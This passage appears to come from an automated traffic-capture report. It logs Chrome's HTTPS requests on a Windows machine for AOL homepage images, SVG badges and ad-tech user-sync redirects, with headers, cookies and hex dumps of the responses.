2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 55 32 4e 6a 55 34 4d 54 55 77 4d 44 45 69 4c 43 4a 77 61 32 6c 6b 49 6a 6f 69 4f 54 49 78 4f 44 51 7a 4d 6a 41 74 4f 47 5a 6d 4d 79 30 30 4e 57 55 35 4c 57 49 32 4d 44 41 74 4f 54 6b 77 5a 6a 67 79 4d 6d 4d 34 4e 6a 59 33 49 69 77 69 5a 58 68 77 49 6a 6f 78 4e 7a 45 32 4e 54 41 7a 4f 54 6b 31 4c 43 4a 70 59 58 51 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 32 4f 54 56 39 2e 51 43 42 72 57 64 74 55 35 48 32 50 46 68 34 64 48 52 2d 72 69 6c 36 53 46 66 41 56 55 56 6f 71 6b 4d 77 66 37 79 42 39 39 4a 50 2d 6a 38 33 76 52 62 37 62 37 6b 6f 48 45 79 7a 4f 57 45 45 53 4f 4c 69 58 67 35 2d 38 32 4e 76 36 33 6d 4d 41 51 74 64 37 38 51 77 69 67 37 4e 6a 59 68 4c 51 6c 2d 35 77 59 77 34 31 43 4e 4b 72 39 36 4f 6e 63 5f 73 49 4b 6a 69 39 62 53 74 47 77 47 72 6a 34 6a 6c 46 Data Ascii: U2NjU4MTUwMDEiLCJwa2lkIjoiOTIxODQzMjAtOGZmMy00NWU5LWI2MDAtOTkwZjgyMmM4NjY3IiwiZXhwIjoxNzE2NTAzOTk1LCJpYXQiOjE3MTY1MDM2OTV9.QCBrWdtU5H2PFh4dHR-ril6SFfAVUVoqkMwf7yB99JP-j83vRb7b7koHEyzOWEESOLiXg5-82Nv63mMAQtd78Qwig7NjYhLQl-5wYw41CNKr96Onc_sIKji9bStGwGrj4jlF
2024-05-23 22:34:55 UTC	1300	IN	Data Raw: 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 26 66 69 72 73 74 56 69 64 65 6f 3d 74 72 75 65 26 68 65 69 67 68 74 3d 32 37 36 26 77 69 64 74 68 3d 33 36 38 26 73 69 64 3d 63 33 32 61 61 32 37 65 2d 37 37 39 36 2d 34 36 38 64 2d 38 64 66 34 2d 30 65 32 62 34 33 66 61 31 34 61 61 26 73 68 6f 77 5f 6e 61 6d 65 3d 41 50 26 73 69 74 65 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 72 65 67 69 6f 6e 3d 55 53 26 6c 61 6e 67 3d 65 6e 2d 55 53 26 73 70 61 63 65 5f 69 64 3d 31 31 39 37 38 30 33 33 36 31 26 65 78 70 65 72 69 65 6e 63 65 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 65 78 70 6e 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 65 78 70 62 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 62 5f 69 64 3d Data Ascii: 1-3329-b351-69a701a77438&firstVideo=true&height=276&width=368&sid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&show_name=AP&site=aolhomepage&region=US&lang=en-US&space_id=1197803361&experience=aolhomepage&expn=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&b_id=
2024-05-23 22:34:55 UTC	872	IN	Data Raw: 72 4b 7a 47 4c 6b 4f 50 76 2d 6a 69 56 62 68 41 6b 37 31 57 37 69 36 39 63 6d 70 35 4b 44 36 63 6d 4b 5a 6c 39 4f 39 50 70 31 53 61 4a 64 59 7a 6e 6f 32 64 63 31 69 71 32 61 39 6d 6a 76 51 71 76 4c 5f 4d 45 56 52 31 49 68 43 67 5f 54 33 50 6f 35 72 49 64 43 63 6e 44 57 64 37 71 6f 35 53 35 42 70 50 72 4f 41 5a 77 5a 33 79 37 66 49 4b 77 67 31 55 38 6b 39 35 6e 47 4f 6c 71 66 6c 70 73 41 63 38 70 64 57 73 35 43 69 61 67 22 2c 22 63 64 6e 22 3a 22 62 63 70 22 2c 22 74 6f 6b 65 6e 22 3a 22 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 Data Ascii: rKzGLkOPv-jiVbhAk71W7i69cmp5KD6cmKZl9O9Pp1SaJdYzno2dc1iq2a9mjvQqvL_MEVR1IhCg_T3Po5rIdCcnDWd7qo5S5BpPrOAZwZ3y7fIKwg1U8k95nGOlqflpsAc8pdWs5Ciag","cdn":"bcp","token":"eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.6	49991	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	695	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsdS0yOFTkQeyA8vtdrBetw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fastros_wbg.png&client=76f99bdb8f78cd44cc0b&signature=53f3ec69dc0981b98bf4f15eba4afc19210d6c1c HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500385 Cache-Control: public, max-age=2592000 Cache-Tag: 440167204156833326679563714165722118707,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100170-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:55 GMT Edge-Cache-Tag: 440167204156833326679563714165722118707,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "1ff1d3cd4b16518340baccfbd33bd4ca" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:22:18 GMT Server: ECAcc (lhd/370E) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2261,owidth=50,oheight=50,obytes=3529,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21941-LGA X-Timer: S1711411311.825752,VS0,VE71 Content-Length: 2261 Connection: close
2024-05-23 22:34:56 UTC	2261	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c 48 5f 89 0a 2e 67 35 4d 7d 70 83 a4 04 2b 65 04 2b 65 8b 9b b5 76 8a a7 05 2b 65 2a 45 77 16 35 6c 03 2b 65 07 2c 66 12 33 6b 13 34 6b 29 44 76 14 35 6c 74 87 a6 14 34 6b 23 3f 72 4b 62 8c 17 37 6d 27 43 75 06 2c 66 0b 2f 68 76 8a a8 21 3d 71 09 2d 67 1d 3a 6f 0f 32 6a 44 5b 86 11 32 6a 0b 2f 68 0c 30 69 1b 38 6e 10 32 6a 08 2d 67 08 2d 66 0e 31 69 1a 39 6e 0d 31 69 33 4c 7b 1e 3b 70 0c 30 68 14 34 6b 06 2c 66 0e 31 69 12 33 6a 0d 31 69 2c 45 77 27 43 75 09 2e 67 0a 2f 68 3b 52 80 0b 30 68 0c 30 69 17 36 6c 09 2d 65 03 2b 65 fc ff fd ef 6d 02 03 2b 66 f8 92 01 fc fe fc f0 6d 02 fb fe fc d1 d3 d7 04 2b 65 f0 6f 03 ee 6d 03 d1 Data Ascii: PNGIHDR22)xPLTEGpLH_.g5M}p+e+ev+e*Ew5l+e,f3k4k)Dv5lt4k#?rKb7m'Cu,f/hv!=q-g:o2jD[2j/h0i8n2j-g-f1i9n1i3L{;p0h4k,f1i3j1i,Ew'Cu.g/h;R0h0i6l-e+em+fm+eom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.6	49992	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	417	OUT	GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback.png HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	585	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5251877 Cache-Control: max-age=365000000, immutable Content-Type: image/png Date: Thu, 23 May 2024 22:34:55 GMT Etag: "530bcb090a875c0f904c395456a90b43" Last-Modified: Tue, 12 Dec 2023 15:45:13 GMT Server: ECAcc (lhd/35EF) x-amz-id-2: xSpl0J2XWJvCfCmmChz2tAg/gDFKbFrm6Q16oOIURXU/hHN+D05Vrc48T8ZCj93YR9W53xb90hA= x-amz-replication-status: COMPLETED x-amz-request-id: J9SARAQ92PB6Z7FD x-amz-server-side-encryption: AES256 x-amz-version-id: h_VPUIxbxwcQ3eXjG.3FC4NkfDv2h.bT X-Cache: HIT Content-Length: 14835 Connection: close
2024-05-23 22:34:56 UTC	14835	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 5c 00 00 01 32 08 06 00 00 00 b6 e8 68 06 00 00 39 ba 49 44 41 54 78 01 ed 9d 5f 8c 1c d7 75 e6 4f 55 0f 65 4b d1 9f 91 2d 05 96 25 98 25 c5 ce 4a 32 b2 1c c9 88 ec 00 0a 54 1c 92 8e 9f 56 94 8c bc c4 01 34 04 36 41 f2 10 8b 42 80 78 03 7b 41 0a 49 60 78 81 05 45 19 58 ef c6 01 48 01 d1 be 04 16 47 d9 17 c7 a2 86 45 c4 40 22 65 65 8e 16 b1 28 c4 81 55 34 24 d8 88 fc 67 38 94 a5 98 9c ae da 73 aa ea 0e ef 54 df 5b 5d d5 5d d5 5d 5d fd fd 80 66 77 df 5b 5d d3 ec ae fe ea d4 77 cf 3d d7 21 00 66 84 fd fe 7e 3f a2 e8 a1 98 1c 9f 28 5e e2 a6 c5 ac 2b 24 72 42 87 e2 e7 23 ba 66 35 08 be 19 12 00 2d c4 21 00 5a 8e 08 6d 9f e2 23 2c b2 7e 99 ed 1d 72 4e 46 b4 eb 49 08 2f 68 1b 10 5c d0 6a 7c 7f f9 08 1f a4 Data Ascii: PNGIHDR\2h9IDATx_uOUeK-%%J2TV46ABx{AI`xEXHGE@"ee(U4$g8sT[]]]]fw[]w=!f~?(^+$rB#f5-!Zm#,~rNFI/h\j\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.6	49994	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	426	OUT	GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback_vertical.svg HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	621	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5167561 Cache-Control: max-age=365000000, immutable Content-Type: image/svg+xml Date: Thu, 23 May 2024 22:34:55 GMT Etag: "e2c8e7f300b16a993657a04b82efe131" Last-Modified: Mon, 08 Jan 2024 12:18:05 GMT Server: ECAcc (lhd/35E2) x-amz-id-2: mOwsamYghUAA12GPS+zgxXV4eMlnoCkA2G4x+RqGCkOoRcoRt3tTf7ht/xHp+NzEPk1VWQ4EiWs= x-amz-replication-status: COMPLETED x-amz-request-id: J7Q28T1AJBSCANRP x-amz-server-side-encryption: AES256 x-amz-version-id: 0xHl7oxSGukOJcW58WD3cqF3_WBXxCUd X-Cache: HIT Content-Length: 14326 Connection: close
2024-05-23 22:34:56 UTC	14326	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 37 34 22 20 68 65 69 67 68 74 3d 22 31 35 33 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 37 34 20 31 35 33 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 63 6c 69 70 30 5f 39 31 36 5f 34 34 38 35 29 22 3e 0a 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 32 35 22 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 30 35 22 20 64 3d 22 4d 39 31 2e 32 38 37 31 20 31 35 32 2e 38 39 39 43 31 33 35 2e 30 38 39 20 31 35 32 2e 38 39 39 20 31 37 30 2e 35 39 37 20 31 35 31 2e 34 20 31 37 30 2e 35 39 37 20 31 34 39 2e 35 35 43 31 37 30 2e 35 39 37 20 31 34 37 2e 37 Data Ascii: <svg width="174" height="153" viewBox="0 0 174 153" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_916_4485)"><g opacity="0.25"><path opacity="0.05" d="M91.2871 152.899C135.089 152.899 170.597 151.4 170.597 149.55C170.597 147.7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.6	49993	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	406	OUT	GET /caas-assets-production/assets/v1/images/modules/footer/AppStore_en.svg HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	997	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5251895 Cache-Control: max-age=365000000, immutable Content-Type: image/svg+xml Date: Thu, 23 May 2024 22:34:55 GMT Etag: "2928664fe1fc6aca88583a6f606d60ba" Last-Modified: Mon, 28 Nov 2022 10:20:33 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35D7) x-amz-id-2: Ns8EWLhq1WzPnAgjpru9LMgKDGljF4LjG5OGe6FkHYaCUcEzH9heyoTBgvcuvaXYU/utY6KpxW8= x-amz-replication-status: COMPLETED x-amz-request-id: B26NA60KXVCF0C1K x-amz-server-side-encryption: AES256 x-amz-version-id: M3sCfyi28qgEfUQomdcrA9y7CjlgkNje X-Cache: HIT Content-Length: 10804 Connection: close
2024-05-23 22:34:56 UTC	10804	IN	Data Raw: 3c 73 76 67 20 69 64 3d 22 6c 69 76 65 74 79 70 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 31 39 2e 36 36 34 30 37 22 20 68 65 69 67 68 74 3d 22 34 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 31 39 2e 36 36 34 30 37 20 34 30 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 44 6f 77 6e 6c 6f 61 64 5f 6f 6e 5f 74 68 65 5f 41 70 70 5f 53 74 6f 72 65 5f 42 61 64 67 65 5f 55 53 2d 55 4b 5f 52 47 42 5f 62 6c 6b 5f 34 53 56 47 5f 30 39 32 39 31 37 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 31 30 2e 31 33 34 37 37 2c 30 48 39 2e 35 33 34 36 38 63 2d 2e 33 36 36 37 Data Ascii: <svg id="livetype" xmlns="http://www.w3.org/2000/svg" width="119.66407" height="40" viewBox="0 0 119.66407 40"> <title>Download_on_the_App_Store_Badge_US-UK_RGB_blk_4SVG_092917</title> <g> <g> <g> <path d="M110.13477,0H9.53468c-.3667

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.6	49995	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	407	OUT	GET /caas-assets-production/assets/v1/images/modules/footer/PlayStore_en.png HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	584	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167549 Cache-Control: max-age=365000000, immutable Content-Type: image/png Date: Thu, 23 May 2024 22:34:56 GMT Etag: "1e91d02cf5a902f38f2923c006d79281" Last-Modified: Mon, 28 Nov 2022 10:20:33 GMT Server: ECAcc (lhd/35A0) x-amz-id-2: QR3JDBuaL6l20cz0ryj48ontjAMmuy1PlehEfDBb+eOWJTCO5wXN8pR8UaWgizRWMtvTAE1ow+U= x-amz-replication-status: COMPLETED x-amz-request-id: 1TAZ1A60ZWZR20EK x-amz-server-side-encryption: AES256 x-amz-version-id: XT6LsdtqeTQbOJqBovI.LzXQgARxp1ek X-Cache: HIT Content-Length: 4904 Connection: close
2024-05-23 22:34:56 UTC	4904	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 86 00 00 00 fa 08 03 00 00 00 0b 2b 76 d8 00 00 01 dd 50 4c 54 45 47 70 4c 57 57 57 5e 5e 5e 66 66 66 6e 6e 6e 61 61 61 78 78 78 94 94 94 a6 a6 a6 8d 8d 8d 73 73 73 5c 5c 5c 9d 9d 9d 84 84 84 92 92 92 68 68 68 49 49 49 2a 2a 2a 15 15 15 00 00 00 1f 1f 1f 73 73 73 9c 9c 9c 34 34 34 7d 7d 7d 87 87 87 3e 3e 3e 53 53 53 59 59 59 6a 6a 6a 0a 0a 0a 7d 7d 7d 5e 5e 5e 20 20 20 40 40 40 70 70 70 10 10 10 80 80 80 60 60 60 30 30 30 50 50 50 07 15 0a 17 4a 24 1d 5f 2f 27 7e 3e 24 74 39 1a 54 2a 10 35 1a b3 b3 b3 e6 e6 e6 ea ea ea ff ff ff e2 e2 e2 91 91 91 dd dd dd f2 f2 f2 c5 c5 c5 ec ec ec f8 f8 f8 e3 e3 e3 ee ee ee d9 d9 d9 2a 89 44 34 a8 53 31 9e 4e 03 0b 05 d1 d1 d1 f3 f3 f3 9f 9f 9f d5 d5 d5 ef ef ef f7 Data Ascii: PNGIHDR+vPLTEGpLWWW^^^fffnnnaaaxxxsss\\\hhhIII**sss444}}}>>>SSSYYYjjj}}}^^^ @@@ppp```000PPPJ$_/'~>$t9T5*D4S1N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.6	50008	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	775	OUT	GET /w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-05-23 22:34:56 UTC	624	IN	HTTP/1.1 302 Moved Temporarily Set-Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; Version=1; Expires=Fri, 23-May-2025 22:34:56 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://us-u.openx.net/w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D Date: Thu, 23 May 2024 22:34:56 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.6	49996	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-06%2F1504f900-095d-11ee-af59-036f8ef2680e&client=76f99bdb8f78cd44cc0b&signature=1ec7b18a657fd83305c83548d3b4199e6b95779d HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1506	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 54152 Cache-Control: public, max-age=2592000 Cache-Tag: 455011173027560281408501159700854956092,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000154-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 93 Content-Type: image/png Date: Thu, 23 May 2024 22:34:56 GMT Edge-Cache-Tag: 455011173027560281408501159700854956092,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "f80320b7587d5726fc9c575ce8380237" Expiration: expiry-date="Fri, 26 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Jan 2024 16:58:27 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35D9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=304,owidth=400,oheight=400,obytes=12220,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21923-LGA X-Timer: S1711265545.622296,VS0,VE2 Content-Length: 304 Connection: close
2024-05-23 22:34:56 UTC	304	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 54 50 4c 54 45 47 70 4c cc 00 00 cc 00 00 f3 c1 c1 cc 00 00 cc 00 00 cc 00 00 cc 00 00 cc 00 00 cc 00 00 f1 ba ba e0 62 62 f2 bd bd f4 c8 c8 f1 b4 b4 d8 38 38 e2 69 69 ec 9f 9f f5 ce ce d5 2b 2b d1 18 18 db 4b 4b e8 89 89 e4 77 77 fe f9 f9 dd 56 56 fb e9 e9 e5 7f 7f 6b 48 0f c6 00 00 00 0a 74 52 4e 53 00 c2 ff ff da fa fe 99 09 31 f4 aa 51 5d 00 00 00 81 49 44 41 54 18 d3 65 8f 59 0e 84 20 0c 40 b1 05 2a a5 6c 8a ce 76 ff 7b 4e d5 64 62 86 f7 d7 d7 dd 18 25 90 75 ce 52 30 17 33 79 38 f1 34 9f f1 04 3f a6 c3 10 dc 20 ed f7 77 e1 83 16 14 e6 28 19 1e a9 6c 39 92 b1 3d b1 7c 90 2b 37 7e 61 b4 c6 55 a9 b0 e2 5b 16 64 c4 e8 54 60 54 81 f2 94 bc 1c c2 76 Data Ascii: PNGIHDR(-STPLTEGpLbb88ii++KKwwVVkHtRNS1Q]IDATeY @*lv{Ndb%uR03y84? w(l9=\|+7~aU[dT`Tv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.6	50011	8.18.47.7	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	677	OUT	GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1 Host: match.deepintent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	528	IN	HTTP/1.1 200 OK p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' set-cookie: CDIUSER=di_11fba54761394fc5986e8; Max-Age=47260800; SameSite=None; Expires=Fri, 21 Nov 2025 22:34:56 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240523%22%7D; Max-Age=47260800; SameSite=None; Expires=Fri, 21 Nov 2025 22:34:56 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Thu, 23 May 2024 22:34:55 GMT server: b connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.6	49998	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
